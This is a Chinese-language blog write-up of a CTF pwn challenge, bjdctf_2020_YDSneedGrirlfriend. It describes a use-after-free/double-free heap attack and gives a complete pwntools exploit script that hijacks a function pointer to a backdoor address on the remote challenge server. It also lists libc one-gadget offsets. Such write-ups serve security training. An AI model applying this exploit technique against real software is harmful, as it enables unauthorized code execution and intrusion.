bjdctf_2020_YDSneedGrirlfriend（uaf）

最新推荐文章于 2023-11-02 18:39:51 发布

Nq0inaen

最新推荐文章于 2023-11-02 18:39:51 发布

阅读量334

点赞数

分类专栏： PWN 文章标签： pwn

本文链接：https://blog.csdn.net/m0_51251108/article/details/121141201

版权

PWN 专栏收录该内容

70 篇文章 3 订阅

订阅专栏

bjdctf_2020_YDSneedGrirlfriend:

先大致一看
请添加图片描述

逆向分析：

主界面：
请添加图片描述
add函数：

free函数：

show函数：

有后门

利用思路：

申请size同为0x20大小的chunk，
doublefree
申请个不同size的chunk，使从bin链中取出一个0x20
位置就置换了，我们就能控制前面图片中说的要改的那个指针的值了
我们add 0x20 size，把它改为后门地址
然后show就可以了

exp：

from pwn import *
#from LibcSearcher import * 
local_file  = './bjdctf_2020_YDSneedGrirlfriend'
local_libc  = './libc-2.23.so'
remote_libc = './libc-2.23.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',27737 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
     gdb.attach(r,cmd)
#------------------------
def add(size,content):
        sla('Your choice :','1')
        sla('Her name size is :',str(size))
        sa('Her name is :',content)
def free(index):
        sla('Your choice :','2')
        sla('Index :',str(index))
def show(index):
        sla('Your choice :','3')
        sla('Index :',str(index))
#---------------------------------
backdoor=0x400b9c
add(0x10,'aaaa')
free(0)
free(0)
add(0x20,'aaaa')
add(0x10,p64(backdoor))
show(0)
#debug()
r.interactive()